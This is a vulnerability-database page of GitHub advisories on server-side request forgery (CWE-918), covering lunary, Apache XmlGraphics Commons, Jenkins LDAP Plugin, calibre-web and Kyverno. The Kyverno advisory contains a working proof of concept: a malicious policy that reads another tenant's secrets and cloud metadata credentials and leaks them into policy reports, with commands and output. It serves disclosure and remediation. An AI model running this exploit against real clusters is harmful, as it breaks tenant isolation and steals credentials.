Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4755 vulnerabilities reference this CWE, most recent first.

GHSA-FMGC-QJR6-W2JP

Vulnerability from github – Published: 2024-06-06 21:30 – Updated: 2024-06-06 21:30
VLAI
Details

A Server-Side Request Forgery (SSRF) vulnerability exists in the lunary-ai/lunary application, specifically within the endpoint '/auth/saml/tto/download-idp-xml'. The vulnerability arises due to the application's failure to validate user-supplied URLs before using them in server-side requests. An attacker can exploit this vulnerability by sending a specially crafted request to the affected endpoint, allowing them to make unauthorized requests to internal or external resources. This could lead to the disclosure of sensitive information, service disruption, or further attacks against the network infrastructure. The issue affects the latest version of the application as of the report.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-5328"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-06T19:16:08Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability exists in the lunary-ai/lunary application, specifically within the endpoint \u0027/auth/saml/tto/download-idp-xml\u0027. The vulnerability arises due to the application\u0027s failure to validate user-supplied URLs before using them in server-side requests. An attacker can exploit this vulnerability by sending a specially crafted request to the affected endpoint, allowing them to make unauthorized requests to internal or external resources. This could lead to the disclosure of sensitive information, service disruption, or further attacks against the network infrastructure. The issue affects the latest version of the application as of the report.",
  "id": "GHSA-fmgc-qjr6-w2jp",
  "modified": "2024-06-06T21:30:37Z",
  "published": "2024-06-06T21:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5328"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/80b09757-d9a0-44d1-932f-2461fc8fec69"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FMJ2-7WX8-QJ4V

Vulnerability from github – Published: 2022-02-09 00:45 – Updated: 2022-01-06 19:58
VLAI
Summary
Server-side request forgery (SSRF) in Apache XmlGraphics Commons
Details

Apache XmlGraphics Commons 2.4 is vulnerable to server-side request forgery, caused by improper input validation by the XMPParser. By using a specially-crafted argument, an attacker could exploit this vulnerability to cause the underlying server to make arbitrary GET requests.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.xmlgraphics:xmlgraphics-commons"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-11988"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-31T20:37:35Z",
    "nvd_published_at": "2021-02-24T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "Apache XmlGraphics Commons 2.4 is vulnerable to server-side request forgery, caused by improper input validation by the XMPParser. By using a specially-crafted argument, an attacker could exploit this vulnerability to cause the underlying server to make arbitrary GET requests.",
  "id": "GHSA-fmj2-7wx8-qj4v",
  "modified": "2022-01-06T19:58:58Z",
  "published": "2022-02-09T00:45:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11988"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/xmlgraphics-commons/commit/57393912eb87b994c7fed39ddf30fb778a275183"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/xmlgraphics-commons"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/XGC-122"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r2877ae10e8be56a3c52d03e373512ddd32f16b863f24c2e22f5a5ba2@%3Cdev.poi.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r588d05a0790b40a0eb81088252e1e8c1efb99706631421f17038eb05@%3Cdev.poi.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ra8f4d6ae402ec020ee3e8c28632c91be131c4d8b4c9c6756a179b12b@%3Cdev.jmeter.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/22HESSYU7T4D6GGENUVEX3X3H6FGBECH"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JP4XA56DA3BFNRBBLBXM6ZAI5RUVFA33"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com//security-alerts/cpujul2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
    },
    {
      "type": "WEB",
      "url": "https://xmlgraphics.apache.org/security.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server-side request forgery (SSRF) in Apache XmlGraphics Commons"
}

GHSA-FMJP-MW89-C6H6

Vulnerability from github – Published: 2026-05-27 15:33 – Updated: 2026-07-01 19:37
VLAI
Summary
Jenkins LDAP Plugin follows LDAP referrals
Details

Jenkins LDAP Plugin 807.v7d7de30930cf and earlier follows LDAP referrals from the configured LDAP server. These can forward to an RMI URL that causes Jenkins to deserialize attacker-controlled data, resulting in Remote Code Execution (RCE) on the Jenkins controller if deserialization "gadgets" are available on the classpath.

This allows attackers able to control the configured LDAP server, or able to perform a machine-in-the-middle attack, to execute code on the Jenkins controller.

LDAP Plugin 807.809.vd3a_4e5e4ec98 no longer follows LDAP referrals.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 807.v7d7de30930cf"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:ldap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "807.809.vd3a"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48916"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T19:37:42Z",
    "nvd_published_at": "2026-05-27T15:16:31Z",
    "severity": "MODERATE"
  },
  "details": "Jenkins LDAP Plugin 807.v7d7de30930cf and earlier follows LDAP referrals from the configured LDAP server. These can forward to an RMI URL that causes Jenkins to deserialize attacker-controlled data, resulting in Remote Code Execution (RCE) on the Jenkins controller if deserialization \"gadgets\" are available on the classpath.\n\nThis allows attackers able to control the configured LDAP server, or able to perform a machine-in-the-middle attack, to execute code on the Jenkins controller.\n\nLDAP Plugin 807.809.vd3a_4e5e4ec98 no longer follows LDAP referrals.",
  "id": "GHSA-fmjp-mw89-c6h6",
  "modified": "2026-07-01T19:37:42Z",
  "published": "2026-05-27T15:33:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48916"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/ldap-plugin"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2026-05-27/#SECURITY-3654"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins LDAP Plugin follows LDAP referrals"
}

GHSA-FMPQ-9GP5-89F5

Vulnerability from github – Published: 2022-04-05 00:00 – Updated: 2022-04-12 00:01
VLAI
Details

Server-Side Request Forgery (SSRF) in GitHub repository janeczku/calibre-web prior to 0.6.18.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-0939"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-04T10:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Server-Side Request Forgery (SSRF) in GitHub repository janeczku/calibre-web prior to 0.6.18.",
  "id": "GHSA-fmpq-9gp5-89f5",
  "modified": "2022-04-12T00:01:01Z",
  "published": "2022-04-05T00:00:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0939"
    },
    {
      "type": "WEB",
      "url": "https://github.com/janeczku/calibre-web/commit/4545f4a20d9ff90b99bbd4e3e34b6de4441d6367"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/768fd7e2-a767-4d8d-a517-e9dda849c6e4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FMQP-4WFC-W3V7

Vulnerability from github – Published: 2026-04-14 20:06 – Updated: 2026-04-14 20:06
VLAI
Summary
Kyverno APICall SSRF Vulnerability Leading to Multi-Tenant Isolation Breach
Details

Summary

Kyverno's APICall feature contains a Server-Side Request Forgery (SSRF) vulnerability that allows users with Policy creation permissions to access arbitrary internal resources through Kyverno's high-privilege ServiceAccount. In multi-tenant Kubernetes environments, this constitutes a classic Confused Deputy problem: low-privilege tenants can steal sensitive data from other tenants (such as database passwords and API keys) and cloud platform IAM credentials, completely breaking tenant isolation. This vulnerability does not require cluster-admin privileges and can be exploited with only namespace-level Policy creation permissions.

Details

Vulnerability Mechanism

Kyverno's APICall feature allows Policies to fetch external data via HTTP requests. This feature does not validate target URLs when executing HTTP requests, leading to an SSRF vulnerability.

Source Point - User-Controlled URL

File: api/kyverno/v1/common_types.go, lines 247-250

type ServiceCall struct {
    // URL is the JSON web service URL
    URL string `json:"url"`  // User-controlled, no validation
    Headers []HTTPHeader `json:"headers,omitempty"`
    CABundle string `json:"caBundle,omitempty"`
}

The URL field is completely controlled by users through Policy configuration, with no validation mechanism to restrict target addresses.

Sink Point - HTTP Request Execution

File: pkg/engine/apicall/executor.go, lines 65-110

func (a *executor) executeServiceCall(ctx context.Context, apiCall *kyvernov1.APICall) ([]byte, error) {
    if apiCall.Service == nil {
        return nil, fmt.Errorf("missing service for APICall %s", [a.name](http://a.name/))
    }

    client, err := a.buildHTTPClient(apiCall.Service)
    if err != nil {
        return nil, err
    }

    req, err := a.buildHTTPRequest(ctx, apiCall)
    if err != nil {
        return nil, fmt.Errorf("failed to build HTTP request for APICall %s: %w", [a.name](http://a.name/), err)
    }

    // Line 80: Directly executes HTTP request without URL validation
    resp, err := client.Do(req)
    if err != nil {
        return nil, fmt.Errorf("failed to execute HTTP request for APICall %s: %w", [a.name](http://a.name/), err)
    }
    defer resp.Body.Close()

    // Read and return response content
    body, err := io.ReadAll(resp.Body)
    if err != nil {
        // ...
    }

    return body, nil
}

Line 80's client.Do(req) directly executes the HTTP request without checking if the target URL is an internal IP address (like 169.254.169.254) or resources belonging to other tenants.

Confused Deputy Problem

In multi-tenant environments, Kyverno uses a cluster-wide high-privilege ServiceAccount to execute all APICall requests. When a low-privilege tenant creates a Policy containing malicious APICall directives, Kyverno executes these requests with its own high privileges, leading to privilege escalation.

Attack path:

Tenant A (namespace-level permissions)
  → Creates malicious Policy
  → Kyverno (cluster-wide high privileges)
  → Accesses Tenant B's Secrets / Cloud metadata service
  → Sensitive data leaked to PolicyReport
  → Tenant A reads PolicyReport to obtain data

PoC

Environment Setup

Prerequisites - Kubernetes cluster - Kyverno v1.16.0 installed - Mock cloud metadata service (optional, for testing cloud credential theft)

Step 1: Install Kyverno

kubectl create namespace kyverno
kubectl create -f https://github.com/kyverno/kyverno/releases/download/v1.16.0/install.yaml
kubectl wait --for=condition=Ready pods --all -n kyverno --timeout=300s

Verify installation:

$ kubectl get pods -n kyverno
NAME                                             READY   STATUS    RESTARTS   AGE
kyverno-admission-controller-5c84845f5-28hz5     1/1     Running   0          2m
kyverno-background-controller-59b7b8d686-7pqxl   1/1     Running   0          2m
kyverno-cleanup-controller-5fd988d64f-nsgdb      1/1     Running   0          2m
kyverno-reports-controller-546cb78fbc-2dd74      1/1     Running   0          2m

Step 2: Deploy Mock Metadata Service

Create file metadata-mock.yaml:

apiVersion: v1
kind: Namespace
metadata:
  name: metadata-mock
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: metadata-mock
  namespace: metadata-mock
spec:
  replicas: 1
  selector:
    matchLabels:
      app: metadata-mock
  template:
    metadata:
      labels:
        app: metadata-mock
    spec:
      containers:
      - name: mock-server
        image: python:3.9-slim
        command: ["python", "-c"]
        args:
        - |
          import http.server
          import socketserver
          import json

          class Handler(http.server.SimpleHTTPRequestHandler):
              def do_GET(self):
                  if 'iam/security-credentials/test-role' in self.path:
                      self.send_response(200)
                      self.send_header('Content-type', 'application/json')
                      self.end_headers()
                      creds = {
                          "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
                          "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
                          "Token": "SimulatedSessionToken123456",
                          "Expiration": "2025-12-31T23:59:59Z"
                      }
                      self.wfile.write(json.dumps(creds).encode())
                  else:
                      self.send_response(404)
                      self.end_headers()

          with socketserver.TCPServer(("", 80), Handler) as httpd:
              httpd.serve_forever()
        ports:
        - containerPort: 80
---
apiVersion: v1
kind: Service
metadata:
  name: metadata-mock
  namespace: metadata-mock
spec:
  selector:
    app: metadata-mock
  ports:
  - port: 80
    targetPort: 80

Deploy:

kubectl apply -f metadata-mock.yaml
kubectl wait --for=condition=Ready pods --all -n metadata-mock --timeout=120s

Step 3: Create Multi-Tenant Environment

Create two tenant namespaces:

kubectl create namespace tenant-a
kubectl create namespace tenant-b

Create sensitive data in tenant-b:

kubectl create secret generic db-credentials -n tenant-b \
  --from-literal=username=admin \
  --from-literal=password=SuperSecret123! \
  --from-literal=database=production-db

Create restricted ServiceAccount for tenant-a:

kubectl create serviceaccount tenant-a-admin -n tenant-a

Create file tenant-a-rbac.yaml:

apiVersion: [rbac.authorization.k8s.io/v1](http://rbac.authorization.k8s.io/v1)
kind: Role
metadata:
  name: policy-creator
  namespace: tenant-a
rules:
- apiGroups: ["[kyverno.io](http://kyverno.io/)"]
  resources: ["policies"]
  verbs: ["create", "get", "list", "update", "patch", "delete"]
- apiGroups: [""]
  resources: ["configmaps"]
  verbs: ["create", "get", "list"]
- apiGroups: ["[wgpolicyk8s.io](http://wgpolicyk8s.io/)"]
  resources: ["policyreports"]
  verbs: ["get", "list"]
---
apiVersion: [rbac.authorization.k8s.io/v1](http://rbac.authorization.k8s.io/v1)
kind: RoleBinding
metadata:
  name: tenant-a-policy-creator
  namespace: tenant-a
roleRef:
  apiGroup: [rbac.authorization.k8s.io](http://rbac.authorization.k8s.io/)
  kind: Role
  name: policy-creator
subjects:
- kind: ServiceAccount
  name: tenant-a-admin
  namespace: tenant-a

Apply configuration:

kubectl apply -f tenant-a-rbac.yaml

Step 4: Verify Permission Isolation

Create test Pod:

kubectl run tenant-a-test -n tenant-a \
  --image=bitnami/kubectl:latest \
  --serviceaccount=tenant-a-admin \
  --command -- sleep 3600

Verify tenant-a cannot directly access tenant-b:

$ kubectl exec -n tenant-a tenant-a-test -- kubectl get secrets -n tenant-b
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:tenant-a:tenant-a-admin" cannot list resource "secrets" in API group "" in the namespace "tenant-b"

This confirms that tenant-a's ServiceAccount indeed cannot directly access tenant-b's resources.

Exploitation

Step 1: Create Malicious Policy

Create file confused-deputy-attack.yaml:

apiVersion: [kyverno.io/v1](http://kyverno.io/v1)
kind: Policy
metadata:
  name: confused-deputy-attack
  namespace: tenant-a
spec:
  background: true
  validationFailureAction: Audit
  rules:
  - name: steal-tenant-b-secrets
    match:
      any:
      - resources:
          kinds:
          - ConfigMap
    context:
    - name: tenantBSecrets
      apiCall:
        method: GET
        urlPath: "/api/v1/namespaces/tenant-b/secrets/db-credentials"
    validate:
      message: "STOLEN TENANT-B SECRETS - Username: {{ tenantBSecrets.data.username | base64_decode(@) }}, Password: {{ tenantBSecrets.data.password | base64_decode(@) }}, Database: {{ tenantBSecrets.data.database | base64_decode(@) }}"
      pattern:
        metadata:
          labels:
            force-fail: "true"
  - name: steal-cloud-credentials
    match:
      any:
      - resources:
          kinds:
          - ConfigMap
    context:
    - name: cloudCreds
      apiCall:
        method: GET
        service:
          url: "http://metadata-mock.metadata-mock.svc.cluster.local/latest/meta-data/iam/security-credentials/test-role"
    validate:
      message: "STOLEN CLOUD CREDENTIALS - AccessKeyId: {{ cloudCreds.AccessKeyId }}, SecretAccessKey: {{ cloudCreds.SecretAccessKey }}"
      pattern:
        metadata:
          labels:
            force-fail-cloud: "true"

Apply Policy:

$ kubectl apply -f confused-deputy-attack.yaml
[policy.kyverno.io/confused-deputy-attack](http://policy.kyverno.io/confused-deputy-attack) created

Step 2: Trigger Policy Execution

Create ConfigMap to trigger Policy:

$ kubectl create configmap attack-trigger -n tenant-a --from-literal=trigger=now
configmap/attack-trigger created

Step 3: View Stolen Data

After a few seconds, check PolicyReport:

$ kubectl get policyreport -n tenant-a -o yaml | grep -A 5 "STOLEN"

Actual output:

- message: 'validation error: STOLEN TENANT-B SECRETS - Username: admin, Password:
    SuperSecret123!, Database: production-db. rule steal-tenant-b-secrets failed
    at path /metadata/labels/'
  policy: tenant-a/confused-deputy-attack
  result: fail
  rule: steal-tenant-b-secrets
--
- message: 'validation error: STOLEN CLOUD CREDENTIALS - AccessKeyId: AKIAIOSFODNN7EXAMPLE,
    SecretAccessKey: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY. rule steal-cloud-credentials
    failed at path /metadata/labels/'
  policy: tenant-a/confused-deputy-attack
  result: fail
  rule: steal-cloud-credentials

Attack successful. Tenant-a has stolen through Kyverno: 1. Tenant-b's database credentials (username: admin, password: SuperSecret123!, database: production-db) 2. Cloud platform IAM credentials (AccessKeyId and SecretAccessKey)

Step 4: Verify Kyverno Logs

Check Kyverno admission controller logs:

$ kubectl logs -n kyverno deployment/kyverno-admission-controller --tail=100 | grep -i "apicall"
2026-01-06T14:40:34Z INFO DefaultContextLoaderFactory apicall/apiCall.go:151 executed service APICall {"name": "cloudCredentials", "len": 180}

Logs show APICall executed successfully, returning 180 bytes of data (exactly the JSON length of the mock credentials).

Impact

This is a critical security vulnerability with particularly severe impact in multi-tenant Kubernetes environments.

Affected Environments - All multi-tenant Kubernetes clusters using Kyverno - Environments granting users namespace-level Policy creation permissions - Clusters running on cloud platforms (AWS EKS, GCP GKE, Azure AKS)

Vulnerability Impact

  1. Complete Multi-Tenant Isolation Breach
  2. Tenants can read other tenants' Secrets (database passwords, API keys, etc.)
  3. Tenants can access other tenants' ConfigMaps and other resources
  4. Completely violates security assumptions of multi-tenant environments

  5. Cloud Platform Credential Leakage

  6. Can access cloud metadata service (169.254.169.254)
  7. Obtain node IAM role credentials
  8. Use these credentials to access cloud platform resources (S3, RDS, GCS, etc.)

  9. Lateral Movement

  10. Extend from Kubernetes cluster permissions to cloud platform resource access
  11. Potentially access other tenants' cloud resources
  12. Further penetration in cloud environments

  13. Confused Deputy Problem

  14. Low-privilege users leverage high-privilege proxy (Kyverno) to execute privileged operations
  15. Bypass RBAC permission controls
  16. Difficult to trace actual attackers through audit logs

Severity Assessment

  • CVSS 3.1 Score: 8.5 (Critical)
  • CWE Classification: CWE-918 (Server-Side Request Forgery)

In multi-tenant environments, the severity of this vulnerability is much higher than in single-tenant environments because it does not require cluster-admin privileges and can be exploited with only namespace-level Policy creation permissions.

Real-World Scenario Risks

Scenario 1: SaaS Multi-Tenant Platform - Each customer has one namespace - Customer A can steal Customer B's database passwords and API keys - Leads to data breaches, compliance violations, loss of customer trust

Scenario 2: Enterprise Internal Multi-Team Shared Cluster - Different business teams share one Kubernetes cluster - Team A can steal Team B's production database credentials - Leads to internal data breaches, production incidents

Scenario 3: Cloud Platform Managed Kubernetes - Running on AWS EKS, GCP GKE, Azure AKS - Tenants can obtain node IAM role credentials - Access cloud platform resources, lateral movement to cloud environment

Remediation Recommendations

Immediate measures: 1. Disable APICall feature in multi-tenant environments 2. Restrict Policy creation permissions to cluster-admin only 3. Use NetworkPolicy to restrict Kyverno Pod egress traffic

Long-term fixes: 1. Add URL validation in executeServiceCall function to block internal IP addresses 2. Use separate low-privilege ServiceAccount for APICall 3. Implement URL whitelist mechanism 4. Audit and monitor all APICall requests

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.16.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T20:06:09Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nKyverno\u0027s APICall feature contains a Server-Side Request Forgery (SSRF) vulnerability that allows users with Policy creation permissions to access arbitrary internal resources through Kyverno\u0027s high-privilege ServiceAccount. In multi-tenant Kubernetes environments, this constitutes a classic Confused Deputy problem: low-privilege tenants can steal sensitive data from other tenants (such as database passwords and API keys) and cloud platform IAM credentials, completely breaking tenant isolation. This vulnerability does not require cluster-admin privileges and can be exploited with only namespace-level Policy creation permissions.\n\n### Details\n\n#### Vulnerability Mechanism\n\nKyverno\u0027s APICall feature allows Policies to fetch external data via HTTP requests. This feature does not validate target URLs when executing HTTP requests, leading to an SSRF vulnerability.\n\n**Source Point - User-Controlled URL**\n\nFile: `api/kyverno/v1/common_types.go`, lines 247-250\n\n```go\ntype ServiceCall struct {\n    // URL is the JSON web service URL\n    URL string `json:\"url\"`  // User-controlled, no validation\n    Headers []HTTPHeader `json:\"headers,omitempty\"`\n    CABundle string `json:\"caBundle,omitempty\"`\n}\n```\n\nThe URL field is completely controlled by users through Policy configuration, with no validation mechanism to restrict target addresses.\n\n**Sink Point - HTTP Request Execution**\n\nFile: `pkg/engine/apicall/executor.go`, lines 65-110\n\n```go\nfunc (a *executor) executeServiceCall(ctx context.Context, apiCall *kyvernov1.APICall) ([]byte, error) {\n    if apiCall.Service == nil {\n        return nil, fmt.Errorf(\"missing service for APICall %s\", [a.name](http://a.name/))\n    }\n\n    client, err := a.buildHTTPClient(apiCall.Service)\n    if err != nil {\n        return nil, err\n    }\n\n    req, err := a.buildHTTPRequest(ctx, apiCall)\n    if err != nil {\n        return nil, fmt.Errorf(\"failed to build HTTP request for APICall %s: %w\", [a.name](http://a.name/), err)\n    }\n\n    // Line 80: Directly executes HTTP request without URL validation\n    resp, err := client.Do(req)\n    if err != nil {\n        return nil, fmt.Errorf(\"failed to execute HTTP request for APICall %s: %w\", [a.name](http://a.name/), err)\n    }\n    defer resp.Body.Close()\n\n    // Read and return response content\n    body, err := io.ReadAll(resp.Body)\n    if err != nil {\n        // ...\n    }\n\n    return body, nil\n}\n```\n\nLine 80\u0027s `client.Do(req)` directly executes the HTTP request without checking if the target URL is an internal IP address (like 169.254.169.254) or resources belonging to other tenants.\n\n**Confused Deputy Problem**\n\nIn multi-tenant environments, Kyverno uses a cluster-wide high-privilege ServiceAccount to execute all APICall requests. When a low-privilege tenant creates a Policy containing malicious APICall directives, Kyverno executes these requests with its own high privileges, leading to privilege escalation.\n\nAttack path:\n```\nTenant A (namespace-level permissions)\n  \u2192 Creates malicious Policy\n  \u2192 Kyverno (cluster-wide high privileges)\n  \u2192 Accesses Tenant B\u0027s Secrets / Cloud metadata service\n  \u2192 Sensitive data leaked to PolicyReport\n  \u2192 Tenant A reads PolicyReport to obtain data\n```\n\n### PoC\n\n#### Environment Setup\n\n**Prerequisites**\n- Kubernetes cluster \n- Kyverno v1.16.0 installed\n- Mock cloud metadata service (optional, for testing cloud credential theft)\n\n**Step 1: Install Kyverno**\n\n```bash\nkubectl create namespace kyverno\nkubectl create -f https://github.com/kyverno/kyverno/releases/download/v1.16.0/install.yaml\nkubectl wait --for=condition=Ready pods --all -n kyverno --timeout=300s\n```\n\nVerify installation:\n```bash\n$ kubectl get pods -n kyverno\nNAME                                             READY   STATUS    RESTARTS   AGE\nkyverno-admission-controller-5c84845f5-28hz5     1/1     Running   0          2m\nkyverno-background-controller-59b7b8d686-7pqxl   1/1     Running   0          2m\nkyverno-cleanup-controller-5fd988d64f-nsgdb      1/1     Running   0          2m\nkyverno-reports-controller-546cb78fbc-2dd74      1/1     Running   0          2m\n```\n\n**Step 2: Deploy Mock Metadata Service**\n\nCreate file `metadata-mock.yaml`:\n\n```yaml\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: metadata-mock\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: metadata-mock\n  namespace: metadata-mock\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: metadata-mock\n  template:\n    metadata:\n      labels:\n        app: metadata-mock\n    spec:\n      containers:\n      - name: mock-server\n        image: python:3.9-slim\n        command: [\"python\", \"-c\"]\n        args:\n        - |\n          import http.server\n          import socketserver\n          import json\n\n          class Handler(http.server.SimpleHTTPRequestHandler):\n              def do_GET(self):\n                  if \u0027iam/security-credentials/test-role\u0027 in self.path:\n                      self.send_response(200)\n                      self.send_header(\u0027Content-type\u0027, \u0027application/json\u0027)\n                      self.end_headers()\n                      creds = {\n                          \"AccessKeyId\": \"AKIAIOSFODNN7EXAMPLE\",\n                          \"SecretAccessKey\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n                          \"Token\": \"SimulatedSessionToken123456\",\n                          \"Expiration\": \"2025-12-31T23:59:59Z\"\n                      }\n                      self.wfile.write(json.dumps(creds).encode())\n                  else:\n                      self.send_response(404)\n                      self.end_headers()\n\n          with socketserver.TCPServer((\"\", 80), Handler) as httpd:\n              httpd.serve_forever()\n        ports:\n        - containerPort: 80\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: metadata-mock\n  namespace: metadata-mock\nspec:\n  selector:\n    app: metadata-mock\n  ports:\n  - port: 80\n    targetPort: 80\n```\n\nDeploy:\n```bash\nkubectl apply -f metadata-mock.yaml\nkubectl wait --for=condition=Ready pods --all -n metadata-mock --timeout=120s\n```\n\n**Step 3: Create Multi-Tenant Environment**\n\nCreate two tenant namespaces:\n```bash\nkubectl create namespace tenant-a\nkubectl create namespace tenant-b\n```\n\nCreate sensitive data in tenant-b:\n```bash\nkubectl create secret generic db-credentials -n tenant-b \\\n  --from-literal=username=admin \\\n  --from-literal=password=SuperSecret123! \\\n  --from-literal=database=production-db\n```\n\nCreate restricted ServiceAccount for tenant-a:\n```bash\nkubectl create serviceaccount tenant-a-admin -n tenant-a\n```\n\nCreate file `tenant-a-rbac.yaml`:\n```yaml\napiVersion: [rbac.authorization.k8s.io/v1](http://rbac.authorization.k8s.io/v1)\nkind: Role\nmetadata:\n  name: policy-creator\n  namespace: tenant-a\nrules:\n- apiGroups: [\"[kyverno.io](http://kyverno.io/)\"]\n  resources: [\"policies\"]\n  verbs: [\"create\", \"get\", \"list\", \"update\", \"patch\", \"delete\"]\n- apiGroups: [\"\"]\n  resources: [\"configmaps\"]\n  verbs: [\"create\", \"get\", \"list\"]\n- apiGroups: [\"[wgpolicyk8s.io](http://wgpolicyk8s.io/)\"]\n  resources: [\"policyreports\"]\n  verbs: [\"get\", \"list\"]\n---\napiVersion: [rbac.authorization.k8s.io/v1](http://rbac.authorization.k8s.io/v1)\nkind: RoleBinding\nmetadata:\n  name: tenant-a-policy-creator\n  namespace: tenant-a\nroleRef:\n  apiGroup: [rbac.authorization.k8s.io](http://rbac.authorization.k8s.io/)\n  kind: Role\n  name: policy-creator\nsubjects:\n- kind: ServiceAccount\n  name: tenant-a-admin\n  namespace: tenant-a\n```\n\nApply configuration:\n```bash\nkubectl apply -f tenant-a-rbac.yaml\n```\n\n**Step 4: Verify Permission Isolation**\n\nCreate test Pod:\n```bash\nkubectl run tenant-a-test -n tenant-a \\\n  --image=bitnami/kubectl:latest \\\n  --serviceaccount=tenant-a-admin \\\n  --command -- sleep 3600\n```\n\nVerify tenant-a cannot directly access tenant-b:\n```bash\n$ kubectl exec -n tenant-a tenant-a-test -- kubectl get secrets -n tenant-b\nError from server (Forbidden): secrets is forbidden: User \"system:serviceaccount:tenant-a:tenant-a-admin\" cannot list resource \"secrets\" in API group \"\" in the namespace \"tenant-b\"\n```\n\nThis confirms that tenant-a\u0027s ServiceAccount indeed cannot directly access tenant-b\u0027s resources.\n\n#### Exploitation\n\n**Step 1: Create Malicious Policy**\n\nCreate file `confused-deputy-attack.yaml`:\n\n```yaml\napiVersion: [kyverno.io/v1](http://kyverno.io/v1)\nkind: Policy\nmetadata:\n  name: confused-deputy-attack\n  namespace: tenant-a\nspec:\n  background: true\n  validationFailureAction: Audit\n  rules:\n  - name: steal-tenant-b-secrets\n    match:\n      any:\n      - resources:\n          kinds:\n          - ConfigMap\n    context:\n    - name: tenantBSecrets\n      apiCall:\n        method: GET\n        urlPath: \"/api/v1/namespaces/tenant-b/secrets/db-credentials\"\n    validate:\n      message: \"STOLEN TENANT-B SECRETS - Username: {{ tenantBSecrets.data.username | base64_decode(@) }}, Password: {{ tenantBSecrets.data.password | base64_decode(@) }}, Database: {{ 